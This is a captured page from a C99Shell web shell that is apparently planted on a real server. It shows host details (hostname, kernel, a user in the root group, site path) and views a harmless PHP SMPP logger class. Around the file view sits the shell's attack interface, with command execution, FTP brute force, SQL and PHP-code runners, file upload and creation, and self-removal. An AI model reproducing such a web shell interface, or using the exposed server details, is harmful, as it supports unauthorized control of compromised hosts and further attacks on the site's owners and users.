!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/alexandr-mironov/php8-smpp/src/   drwxr-xr-x
Free 29.22 GB of 117.98 GB (24.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DefaultLogger.php (2.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
smpp;

/**
 * Class DefaultLogger
 * @package smpp
 */
class DefaultLogger implements LoggerInterface
{
    
/**
     * DefaultLogger constructor.
     * @param bool $debug
     */
    
public function __construct(public bool $debug false)
    {

    }

    
/**
     * @inheritDoc
     */
    
public function emergency(string $message, array $context = []): void
    
{
        
$this->log(self::EMERGENCY$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function alert(string $message, array $context = []): void
    
{
        
$this->log(self::ALERT$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function critical(string $message, array $context = []): void
    
{
        
$this->log(self::CRITICAL$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function error(string $message, array $context = []): void
    
{
        
$this->log(self::ERROR$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function warning(string $message, array $context = []): void
    
{
        
$this->log(self::WARNING$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function notice(string $message, array $context = []): void
    
{
        
$this->log(self::NOTICE$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function info($message, array $context = []): void
    
{
        
$this->log(self::INFO$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function debug(string $message, array $context = []): void
    
{
        
$this->log(self::DEBUG$message$context);
    }

    
/**
     * @inheritDoc
     */
    
public function log(string $levelstring $message, array $context = []): void
    
{
        
$this->debug && error_log($this->buildMessage($level$message$context));
    }

    
/**
     * @param string $level
     * @param string $message
     * @param array<mixed, mixed> $context
     * @return string
     */
    
private function buildMessage(string $levelstring $message, array $context = []): string
    
{
        
$data = ($context) ? ' Data: ' json_encode($context) : '';
        return 
'#'
            
. (new \DateTime())->format('Y-m-d H:i:s')
            . 
' '
            
$level
            
': '
            
$message
            
$data
            
PHP_EOL;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--